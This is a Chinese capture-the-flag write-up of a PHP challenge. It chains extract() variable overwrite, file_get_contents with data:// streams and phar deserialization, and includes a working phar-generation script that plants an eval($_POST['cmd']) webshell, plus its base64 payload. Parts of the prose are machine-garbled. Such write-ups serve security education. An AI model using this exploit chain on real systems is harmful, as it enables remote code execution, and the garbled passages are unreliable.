这篇关键解读以往一年来各种比赛中发生的较为典型性的好多个反序列化题目
文中涉及到有关实验:PHP反序列化漏洞实验 (根据此次实验,大伙儿可能搞清楚什么叫反序列化漏洞,反序列化漏洞的诱因及其怎样发掘和防止该类漏洞。)
重现自然环境:
连接:
提取码:7ryd
拷贝这一段內容后开启百度云网盘手机上App,实际操作更便捷哦--来源于百度云网盘qq超级会员V3的共享
假期难能可贵有时间把这一年的比赛题目都好好地梳理一下,更先来的是xnuca个人赛的一道题目,较为新奇,归属于中等水平难度系数的web phar载入和反序列化题目,好像在其以后的DASCTF也调查了相近的知识要点,由于時间实在悠久,再加上xnuca那时候的一小部分源代码实在是不见,就使用了DASCTF的一部分编码来开展解读,答题 *** 是一样的。
这道题目更先必须根据自变量遮盖来运用file_get_contents载入template.php,随后根据template.php载入phar开展反序列化。
更先是一个index.php
<?php
error_reporting(E_ALL);
$sandbox = '' . md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandbox)){
mkdir($sandbox);
}
include_once('template.php');
$template = array('tp1'=>'tp1.tpl','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
if(isset($_GET['var']) && is_array($_GET['var'])){
extract($_GET['var'], EXTR_OVERWRITE);
}else{
highlight_file(__file__);
die();
}
if(isset($_GET['tp'])){
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE){
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
}else{
echo "Please choice one template to reader";
}
?>
extract自变量遮盖。基本原理是:extract() 涵数从二维数组里将自变量导到当今的符号表。该涵数应用二维数组键名做为用户标识符,应用二维数组键值做为变量类型。
一切正常的使用 *** 一般用以把二维数组的值转换为自变量,就仿佛把二维数组一个个缓解压力出去变成自变量一样,是否很像extract的含意:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "$a = $a; $b = $b; $c = $c";
?>
那样便会把二维数组 $my_array里边的键值和相匹配键名组成变成一个自变量,相当于再度取值
之前ctf调查的点基础全是以下方式的自变量遮盖:
extract($_GET);
有关这个地方自变量遮盖的基本原理,就需要提及一个很重要的基本知识要点,$GET,$POST,$REQUEST这三个静态变量的种类是二维数组(不相信得话自身var_dump一下),事实上大家根据get键入的用户标识符会变成$GET二维数组里的键名,键入的变量类型会变成$GET里的键值,因而extract涵数才会由大家的get键入接受到$GET这一二维数组,进而造成了自变量遮盖。
本题目的书写为:
extract($_GET['var'], EXTR_OVERWRITE);
EXTR_OVERWRITE - 默认设置。如果有矛盾,则遮盖现有的自变量。
这个地方乍一看好像是说 $_GET['var']这一自变量,而不是二维数组,可是以前也是有调查过假如根据get或是post *** 键入一个二维数组的ctf题(没有错,便是绕开md5较为的php黑魔法),只需我们在get或是post键入的自变量的后边再加上[],就意味着大家键入的是一个二维数组。
比如下边就意味着大家键入了一个二维数组
把 $_GET自变量全dump出去为:
array(1){["var"]=> array(1){[0]=> string(1) "a" }}
简言之,便是把 $_GET这一二维数组自变量里键名叫var的这一元组的键值设定为了更好地一个二维数组,这一二维数组是:
array(1){[0]=> string(1) "a" }
因此事实上大家還是能够根据题目中的
extract($_GET['var'], EXTR_OVERWRITE);
来开展自变量遮盖。比如:
那样就能将早已取值过的template自变量再次取值为一个只带有一个元组且键名叫tp1的二维数组
以前
array(3){
["tp1"]=>
string(7) "tp1.tpl"
["tp2"]=>
string(7) "tp2.tpl"
["tp3"]=>
string(7) "tp3.tpl"
}
以后
array(1){
["tp1"]=>
string(3) "aaa"
}
这儿很多人有一个错误观念:为什么并不是独立遮盖template二维数组里的一个tp1,只是遮盖了所有呢?
由于?var[template][tp1]=aaa
相当于键入了
$template=array('tp1'=>'aaa');
而不是
$template = array('tp1'=>'aaa','tp2'=>'tp2.tpl','tp3'=>'tp3.tpl');
因此是所有遮盖
大家见到之一个文档index.php里边还有一个file_get_contents,想起能够文档载入。
if(isset($_GET['tp'])){
$tp = $_GET['tp'];
if (array_key_exists($tp, $template) === FALSE){
echo "No! You only have 3 template to reader";
die();
}
$content = file_get_contents($template[$tp]);
$temp = new Temp($content);
}else{
echo "Please choice one template to reader";
}
构思:
tp]为我们要载入的文件夹名称
tp可控性
array_key_exists分辨
在template二维数组中是不是存有
存有则载入
tp]偏向的文档
因此大家
?var[template][a]=文件夹名称&tp=a
那样template二维数组就剩一个a,随后他的数值我们要载入的文件夹名称,随后tp相当于a,载入
tp]所偏向的文档,也就是 $template['a'],即大家自变量遮盖进来的文件夹名称。
浏览获得
u can see ur html file in f187b1e39a106780507c0f5c399da8c1/594f803b380a41396ed63dca39503542.html
浏览一下途径见到template.php源码,这儿file_get_content载入到的并并不是立即表明,只是被template.php载入到某一地区,可是这一算作之一步的提醒,立即浏览就看到了template.php的源代码,看完之后也会更了解全部全过程。
<?php
error_reporting(0);
class Temp{
public $suffix;
public $content;
public $pattern;
public function __construct($content){
$this->content = $content;
$this->pattern = "/{{([a-z])}}/";
$this->suffix = ".html";
}
public function __destruct(){
$this->render();
}
public function render(){
while (True){
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
}
}
?>
最关键的 *** 是我们的render(因为另外两个一个是构造 *** 用来给三个属性赋值,一个是析构 *** 用来触发render)
他做了两件事情
while (True) {
if(preg_match($this->pattern, $this->content, $matches)!==1)
break;
global ${$matches[1]};
if(isset(${$matches[1]})) {
$this->content = preg_replace($this->pattern, ${$matches[1]}, $this->content);
}
else {
break;
}
}
这一步的工作用一句话概括为:"用$content里匹配到的字符串的同名变量,来替换$content本身的内容"
可能乍一看看不懂,没事我们来分析:
也就是说,当你输入的内容里面含有{{([a-z]+)}}的时候,他会提取{{}}里面的字符串,然后去判断他是否为一个已经声明的全局变量,如果是的话则导入到 *** 中,并且用这个全局变量的值去替换 $content的值。
例如搭建一个本地环境
当你输入则返回如下结果
匹配输入,含有{{([a-z]+)}},其中 $matches为
Array ( [0] => {{a}} [1] => a )
2.global用于将函数外部的一个全局变量导入函数内,题目中这句代码在render *** 内,所以为了使用 *** 外的全局变量,得加一个global
global ${$matches[1]};
#探测外部是否有需要名字为 $matches[1]的变量,
然后preg_replace将content里的 $matches[1]给替换为那个变量的值
实际上这是个啥呢,就是我们很常见的模板变量替换,比如说你的前端有一个{{a}},然后你后端检测前端代码的时候,就拿后端的a变量的值替换这个{{a}}里面a所在的位置。类似flask那种模板变量替换。
说白了就是,这段代码或者这道题应该是某个真实的cms上的代码 *** 的,然后出成题目,并保留了当时的部分冗余代码。所以才留下了这个模板替换。(就是没啥用的意思,逃:)
render做的第二件事情就是写入文件
首先给出了一个限制:
if(strlen($this->suffix)>5) {
echo "error suffix";
die();
}
这段代码保证了你写入的后缀不能超过5个字符,虽然没什么用。
真正写文件的的代码在这里:
$filename = '/var/www/html/upload/' . md5($_SERVER['REMOTE_ADDR']) . "/" . md5($this->content) . $this->suffix;
file_put_contents($filename, $this->content);
echo "u can see ur html file in " . $filename;
这里思路
自 PHP 5.2.0 起 data:(? RFC 2397)数据流封装器开始有效。加上文件内容的base64编码
变量覆盖,然后file_get_content读取我们输入的data流,然后被写入
file_get_contents触发phar
phar文件:
<?php
class Temp {
public $suffix;
public $content;
public $pattern;
}
@unlink("phar.phar");
#固定老四句,除非你要修改phar文件头部,或者想压缩一个webshell,压缩的攻击通常用于lfi+phar
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt','test'); //添加要压缩的文件
#实例化和修改属性的主要代码
$object = new Temp();
$object->suffix=".php";
$object->content="<?=eval($_POST['cmd']); ";
$object->pattern="{{([a-z]+)}}";
#固定老两句
$phar->setMetadata($object); //将自定义meta-data存入manifest
$phar->stopBuffering();
读取文件内容的base64可以用如下方式:
先php运行exp.php,生成phar.phar文件。
php -a 进入php交互式界面。
php > echo file_get_contents("");
R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQqtAAAAAQAAABEAAAABAAAAAAB3AAAATzo0OiJUZW1wIjozOntzOjY6InN1ZmZpeCI7czo0OiIucGhwIjtzOjc6ImNvbnRlbnQiO3M6MjQ6Ijw/PWV2YWwoJF9QT1NUWydjbWQnXSk7ICI7czo3OiJwYXR0ZXJuIjtzOjEyOiJ7eyhbYS16XSspfX0iO30IAAAAdGVzdC50eHQEAAAAyokbYAQAAAAMfn/YpAEAAAAAAAB0ZXN0tLvtt2MIggiafMrFCk5+NDuEWOECAAAAR0JNQg==
然后url编码,因为=和+号在url里面不能直接用,会被当作有意义的字符
之一步
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/e6c3231faf7291112e65294fcf13d7fc.html
第二步 通过file_get_contents触发phar
回显
u can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/d41d8cd98f00b204e9800998ecf8427e.htmlu can see ur html file in upload/571d8c0def6fb32d11ad1dd5a1d7e8aa/a3670f7aa58980d1970ac97e35a13ff1.php
第三步
就是写入的webshell
这题还可以用远程文件读取,把phar文件放在自己公网服务器上,然后让题目读取,就不用协议写入,因为file_get_contents没有限制不能读取外部文件
但是xnuca他个人赛的时候没有 *** ,所以这个 *** 行不通,但是DASCTF可以用这个 *** 。
总的来说,难度适中,主要一个是知道他这里可以任意文件读取和读取以后直接写入这个是关键,phar倒是没有什么难度,如何在没有外网的情况下通过流写入是关键。
本篇主要讲解过去一年来各大比赛中出现的比较典型的几个反序列化题目本文涉及相关实验:PHP反序列化漏洞实验(通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)...